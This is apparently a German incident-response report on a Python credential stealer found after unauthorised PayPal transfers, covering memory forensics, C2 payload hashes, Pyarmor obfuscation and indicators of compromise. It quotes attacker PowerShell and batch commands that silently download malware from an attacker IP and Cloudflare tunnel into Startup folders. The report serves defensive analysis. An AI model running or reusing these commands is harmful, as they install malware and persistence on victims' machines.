Inhalt
Wichtigste Ergebnisse
- Das SECUINFRA Falcon Team entdeckte während einer Betrugsuntersuchung eine unbekannte Python-Malware
- Die Angreifer setzten in großem Umfang Verschleierungstechniken und Einweg-Infrastrukturen ein
- Zusätzlich zu der maßgeschneiderten Malware wurden handelsübliche Angriffstools wie CobaltStrike verwendet
Einführung
Wachsamkeit und Vorsicht sind in der Cybersicherheit von entscheidender Bedeutung. Wenn wir diese Binsenweisheit wiederholen, denken die meisten von uns an Social-Engineering-Angriffe und daran, den Benutzern beizubringen, wie sie eine Phishing-E-Mail oder einen Betrugsanruf erkennen können. Ein aufmerksamer Benutzer kann jedoch auch wertvolle Erkenntnisse zu einem eher technischen Aspekt liefern.
Ein kürzlich aufgetretener Vorfall wurde gemeldet, als der Benutzer „seltsame schwarze Fenster” auf dem Desktop bemerkte und Screenshots davon machte. Dies ging einher mit PayPal-Überweisungen vom Konto des Benutzers, die nicht von diesem autorisiert worden waren.

Abbildung 1: Vom Opfer aufgenommener Screenshot, Konsolenausgabe deutet auf Dekodierung und Ausführung der Nutzlast hin
Offensichtlich wurde auf dem Computer ein Skript ausgeführt. Die Ausgabe hätte mit dem Befehl „echo off” unterdrückt werden müssen. Aufgrund eines Problems im Skript wurde dem Befehl jedoch seltsame Zeichen vorangestellt, wodurch der Befehl nicht ausgeführt werden konnte. Da die Screenshots erhalten wurden, können wir erkennen, dass offenbar eine Art Entschlüsselungsaktion und Injektion stattgefunden hat.
Untersuchen des kompromittierten Clients
Wir untersuchten den Computer weiter, indem wir den THOR-Scanner ausführten, der uns zahlreiche Hinweise lieferte, um ein besseres Verständnis der Kompromittierung zu erlangen.
Die Datei „EventTraceLog BootPerfDiagLogger.etl” enthielt zahlreiche Einträge, die THOR zur weiteren Analyse extrahierte. Sie zeigten die folgende Befehlszeile:
Befehlszeile: „C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -c „$ProgressPreference=‚SilentlyContinue‘; try { iwr ‚http://43.156.63[.]124/svchoss.exe‘ -OutFile ‚C:\Users\admin\AppData\Local\Temp\svchoss.exe‘ -ErrorAction Stop; exit 0 } catch { exit 1 }“
Dieser Code verwendet PowerShell, um die Datei „svchoss.exe” von der IP-Adresse 43.156.63[.]124 herunterzuladen und in einem Temp-Verzeichnis zu speichern. THOR erkannte diesen Dateinamen als homomorphen Missbrauch, d. h.: Er versuchte, svchost.exe zu imitieren, um unentdeckt zu bleiben.
Die IP-Adresse, von der die Datei heruntergeladen wird, ist Teil des autonomen Systems AS 132203 mit der Bezeichnung „Tencent Building, Kejizhongyi Avenue”, was darauf hindeutet, dass das chinesische Unternehmen Tencent an dem Angriff beteiligt ist. Die IP-Adresse wurde mit zahlreichen aktuellen Angriffen in Verbindung gebracht.
Tencent ist nicht nur ein bekanntes chinesisches Multimedia-Unternehmen, sondern aufgrund seines Standorts auch ein beliebter Ort für das Hosting von C2-Infrastrukturen, insbesondere für chinesische Angreifer.
Darüber hinaus wies THOR uns auf eine Reihe verdächtiger .bat- und .vbs-Dateien hin:
C:\Users\admin\AppData\Roaming\nuil.bat
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\12.bat
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\esae.bat
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rech.bat
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\esae.vbs
Die entsprechenden Ereignisse hatten Zeitstempel vom selben Tag wie die Screenshots.
Speicherauszugsanalyse
Wir haben diese Ergebnisse mit einer Analyse des Speicherauszugs, den wir vom Kunden erhalten haben, weiterverfolgt. Mit Volatility 3 haben wir mit den üblichen Modulen begonnen.
Pstree, psxview, dlllist, ldr_modules, suspended_threads und cmdscan. Leider ohne großen Erfolg. Wir fanden jedoch einen angehaltenen Explorer-Thread mit der TID 8812. Dieser könnte, wie im Screenshot zu sehen, mit dem Vorfall in Verbindung stehen, war jedoch nur ein schwacher Hinweis.
Die Ausführung von Strings64.exe auf dem Speicherauszug und die Suche nach Zeichenfolgen mit mehr als 5 Zeichen ergab mehr als 2 Gigabyte an Zeichenfolgen.
Eine Zeichenfolgen-Suche nach den folgenden IOCs, die wir bisher von THOR erhalten hatten:
· svchoss
· python
· 43.156.63.124
· esae.vbs
· nuil.bat
· 12.bat
· esae.bat
· rech.bat
· we.bin
· a.txt
· x.txt
· xro.py
· SystemCache25
ergab über 5000 Ergebnisse. Es war klar, dass wir diese Zahl eingrenzen mussten. Treffer wie
· Wikipedia.txt
· Nvida.txt
· index.txt
wurden entfernt
Sofort auffällig waren die Zeilen
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -c $ProgressPreference=‚SilentlyContinue‘; try { iwr ‚http://43.156.63[.] 124/svchoss.exe‘ -OutFile ‚C:\Users\admin\AppData\Local\Temp\svchoss.exe‘ -ErrorAction Stop; exit 0 } catch { exit 1 }
HostApplication=powershell -WindowStyle Hidden -c iwr ‚http://43.156.63[.]124/esae.vbs‘ -OutFile „$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\esae.vbs“
HostApplication=powershell -Command Invoke-WebRequest -Uri ‚https://syracuse-seeks-wilson-row.trycloudflare[.]com/of/extracted/12.bat‘ -OutFile ‚C:\Users\admin\AppData\Local\Temp\12.bat‘
HostApplication=powershell -Command Invoke-WebRequest -Uri ‚https://syracuse-seeks-wilson-row.trycloudflare[.]com/of/extracted/rech.bat‘ -OutFile ‚C:\Users\admin\AppData\Local\Temp\rech.bat‘
http://msedge.b.tlu.dl.delivery.mp.microsoft[.]com/filestreamingservice/files\rech.bat‘
set DIR=%LOCALAPPDATA%\Microsoft\SystemCache25
if exist „%DIR%\xro.py“ (
if exist „%DIR%\we.bin“ (
if exist „%DIR%\x.txt“ (
python xro.py -i vue.bin -k o.txt
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command Copy-Item ‚\\syracuse-seeks-wilson-row.trycloudflare[.]com@SSL\davwwwroot\nuil.bat‘ ‚C:\Users\admin\AppData\Roaming\nuil.bat‘
Wir haben nicht nur das Vorhandensein des im Screenshot abgebildeten Codes bestätigt, sondern auch weitere IOCs generiert und die Schädlichkeit der von THOR gefundenen .bat- und .vbs-Dateien bestätigt. Der Code deutet darauf hin, dass der böswillige Akteur eine Python-Installation im Verzeichnis %LOCALAPPDATA%\Microsoft\SystemCache25 bereitgestellt hat.
Der Host syracuse-seeks-wilson-row.trycloudflare[.]com war zum Zeitpunkt der Untersuchung nicht mehr erreichbar. Die Domain trycloudflare[.]com ist legitim und Teil von Cloudflare.
msedge.b.tlu.dl.delivery.mp.microsoft[.]com wird von Fastly.Inc gehostet. Der Eintrag wurde zuletzt am Tag des Vorfalls aktualisiert. Die URL gab einen 403-Fehler aus, als wir versuchten, die .bat-Datei herunterzuladen. Die Domain gehört zu Microsoft. Angesichts der Natur dieser Domain handelt es sich höchstwahrscheinlich um eine Ablenkung für Ermittler und nicht um eine tatsächliche zweite Stufe. Die Cloudflare-Domain ist Teil eines anhaltenden Trends unter Bedrohungsakteuren, legitime Cloud-Dienste für C2 und die Bereitstellung von Payloads zu nutzen.
Darüber hinaus konnten wir aus dem Prozessspeicher unverfälschte Beispiele des Screenshot-Codes extrahieren:
@echo off
set DIR=%LOCALAPPDATA%\Microsoft\SystemCache25
if exist „%DIR%\python.exe“ (
if exist „%DIR%\xro.py“ (
if exist „%DIR%\we.bin“ (
if exist „%DIR%\x.txt“ (
cd /d „%DIR%“
python xro.py -i we.bin -k a.txt
)
)
)
Leider war es nicht eindeutig mit einem bestimmten Prozess verbunden.
Die Suche nach bekannten Dateinamen in Prozess-Handles und Dateinamen ergab einige Treffer für
\Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25
\Users\admin\AppData\Local\Microsoft\SystemCache25
Und sogar \Users\admin\AppData\Local\Microsoft\SystemCache25\python.exe
Die einzigen Prozesse, die noch mit einem Handle zum Ordner SystemCache25 liefen, waren jedoch zwei Instanzen von explorer.exe. Die mit den Dateien SystemCache25 und python.exe verbundenen Prozesse waren bereits beendet, als das Image aufgenommen wurde.
Die folgenden Dateinamen wurden ebenfalls identifiziert, was uns weitere Einblicke in die Python-Installation in SystemCache25 verschaffte:
Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25\_ctypes.pyd
Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25\libffi-8.dll
Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25\python3.dll
Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25\python.exe
Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25\_zstd.pyd
Device\HarddiskVolume3\Users\admin\AppData\Local\ Microsoft\SystemCache25\_lzma.pyd
Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25\_bz2.pyd
Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25\libffi-8.dll
Gerät\Festplattenlaufwerk3\Benutzer\admin\AppData\Local\Microsoft\SystemCache25\_ctypes.pyd
Gerät\Festplattenlaufwerk3\Benutzer\admin\AppData\Local\Microsoft\SystemCache25\vcruntime140.dll
Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25\python315.dll
admin@file:///C:/Users/admin/AppData/Local/Microsoft/SystemCache25/x.txt
\Device\HarddiskVolume3\Users\admin\AppData\Local\Microsoft\SystemCache25
An dieser Stelle hätten wir normalerweise mit der Untersuchung der Artefakte auf der Festplatte des Systems begonnen. Leider war es nicht möglich, eine Triage oder ein Image von der Festplatte des Systems zu erstellen. Stattdessen haben wir uns auf die IP-Adresse 43.156.63[.]124 konzentriert, die wir als Zeichenfolge im Speicher gefunden hatten. Wir konnten einige der dort gehosteten Payloads identifizieren und extrahieren:
vs.exe
a57a08802002bb2e67f33143a17e027d07022e2aa3743840c8f18ced2c2b5217
eine Art Shellcode-Loader?
012.exe
7a58c3106c38dbd56dda242deac02eea9bef8f064e62e6435849048fd036ceb1
XWorm RAT v5.6
2.4.exe
3d9239e8ed6b4f29f5754c934749110491ba821c31d758c2bc3e571c1375798a
HTran Tunneling Tool
02.08.2022.exe
40ef98e3251741b57792a42246eb238c4c12936d2db00bef2b8389b834ce7b52
Cobalt Strike Beacon
svchoss.exe
3483344d12e26ceb42c9c63d1d941c5309dd34d37ecb449922ef85647b726f58
PyInstaller Malware
esae.vbs war leider nicht unter diesen Beispielen.
Darüber hinaus werden mehrere Dienste wie FTP, MySQL und CobaltStrike Team Server auf diesem System gehostet.
Abuse.ch Threatfox listet mehrere Einträge von TCP-Ports auf, die mit CS- und Empire-Aktivitäten in Verbindung stehen:

Die Ausführung von 02.08.2022.exe durch den Cobalt Strike Parser von Sentinel-one bestätigte, dass es sich um einen Cobalt Strike Beacon handelt. Die IP-Adresse für den C2-Server ist identisch mit der Adresse, unter der der Beacon gehostet wird.

Da svchoss.exe zumindest denselben Namen wie die auf den kompromittierten Computer heruntergeladene Datei hat, konzentrierten wir uns bei unseren weiteren Untersuchungen auf diese Datei. Die Datei war VirusTotal seit dem 05. Dezember 2025 bekannt, wobei 41 von 71 Engines sie als bösartig erkannt hatten. https://www.virustotal.com/gui/file/3483344d12e26ceb42c9c63d1d941c5309dd34d37ecb449922ef85647b726f58/details

Wir haben in der .exe-Datei mehrere Zeichenfolgen gefunden, die sich auf Python und Kryptographie-Module Wir haben mehrere Zeichenfolgen in der EXE-Datei gefunden, die sich auf Python und Kryptografie-Module von Python beziehen. VirusTotal zeigte auch den Zugriff auf mehrere Dateien in
· C:\Users\<USER>\AppData\Local\Chromium\User Data\AutofillStates\
· C:\Users\<USER>\AppData\Local\48e7a6ba7f72710ae085ed2aae203bf1\<USER>@DESKTOP-ET51AJO_en-US\Wallets\Edge_Wallet\Edge_Exodus\
· C:\Users\<USER>\AppData\Local\48e7a6ba7f72710ae085ed2aae203bf1\<USER>@DESKTOP-ET51AJO_en-US\Browsers\Mozilla\Firefox\
unter anderem. Dies deutet darauf hin, dass es sich tatsächlich um einen Credential Stealer handelt.
Wir haben den Inhalt dieser Datei mit dem Tool pyinstxtractor-ng extrahiert.
Das Skript identifizierte die Python-Version als 314 und die folgenden möglichen Einstiegspunkte:
· pyiboot01_bootstrap.py
· pyi_rth_inspect.py
· pyi_rth_pkgutil.pyc
· pyi_rth_multiprocessing.pyc
· pyi_rth_setuptools.pyc
· test_expert_silent_temp.pyc
Die folgenden Dateien wurden extrahiert:

Die Extraktion von PYZ.pyz schlug fehl. Weitere auffällige Dateien waren:
· python314.dll
· der Ordner pyarmor_runtime_011117
Die Datei python314.dll war vorhanden, um Analyse-Tools mit einer falschen Versionsnummer zu verwirren. Die Verwendung von pyarmor wurde durch das Vorhandensein des zugehörigen Ordners impliziert.
Die Datei test_expert_silent_temp.pyc war sofort verdächtig, da es sich nicht um eine reguläre Python-Datei handelt. Wir haben versucht, sie mit uncompyle6 zu dekompilieren. Diese Datei sowie alle anderen Dateien hatten die unbekannte magic number 3627. Wir haben sie durch A7 0D 0D 0A für Python 3.11 (3495) ersetzt. Danach schlug die Extraktion immer noch fehl, was bei Vorhandensein von Pyarmor zu erwarten war.
Bisher haben wir die folgenden Verschleierungstechniken entdeckt:
· falsche Python-Versionsnummer
· anderer Dateiname (test_expert_silent_temp.pyc)
· falsches Magic Byte
· Pyarmor
Fazit
Unsere Untersuchung bestätigte die schädliche Präsenz auf dem Computer und generierte weitere IOCs. THOR erwies sich dabei als große Hilfe, da es uns einen ersten Ansatzpunkt und Zeichenfolgen für die Suche im Systemspeicher lieferte. Ohne eine vollständige Systemuntersuchung konnten wir den Vorfall nicht vollständig rekonstruieren und die Beziehungen zwischen den verschiedenen Datenpunkten herstellen.
Wir konnten den ursprünglichen Zugriffsvektor nicht rekonstruieren. Da es sich um einen regulären Endpunkt handelte, der infiziert wurde, ist es sehr wahrscheinlich, dass Social Engineering im Spiel war. Ein bösartiger Web-Download oder eine bösartige E-Mail sind die wahrscheinlichsten Szenarien.
Indicators of Compromise
Host-basierte Artefakte
Dateipfade
%USERPROFILE%\AppData\Local\Temp\svchoss.exe
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\python.exe
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\we.bin
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\a.txt
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\x.txt
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\_ctypes.pyd
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\libffi-8.dll
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\python3.dll
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\_zstd.pyd
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\_lzma.pyd
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\_bz2.pyd
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\libffi-8.dll
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\_ctypes.pyd
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\vcruntime140.dll
%USERPROFILE%\AppData\Local\Microsoft\SystemCache25\python315.dll
C:\Benutzer\admin\AppData\Roaming\nuil.bat
C:\Benutzer\admin\AppData\Roaming\Microsoft\Windows\Startmenü\Programme\Autostart\12.bat
C:\Benutzer\admin\AppData\Roaming\Microsoft\Windows\Startmenü\Programme\Autostart\esae.bat
C:\Benutzer\admin\AppData\Roaming\Microsoft\Windows\Startmenü\Programme\Autostart\rech.bat
C:\Benutzer\admin\AppData\Roaming\Microsoft\Windows\Startmenü\Programme\Autostart\esae.vbs
Hashsummen
a57a08802002bb2e67f33143a17e027d07022e2aa3743840c8f18ced2c2b5217
7a58c3106c38dbd56dda242deac02eea9bef8f064e62e6 435849048fd036ceb1
3d9239e8ed6b4f29f5754c934749110491ba821c31d758c2bc3e571c1375798a
40ef98e3251741b57792a42246eb238c4c12936d2db00bef2b8389b834ce7b52
3483344d12e26ceb42c9c63d1d941c5309dd34d37ec b449922ef85647b726f58
Netzwerkbasierte Artefakte
Domains
https://syracuse-seeks-wilson-row.trycloudflare[.]com
IP-Adressen
43.156.63[.]124

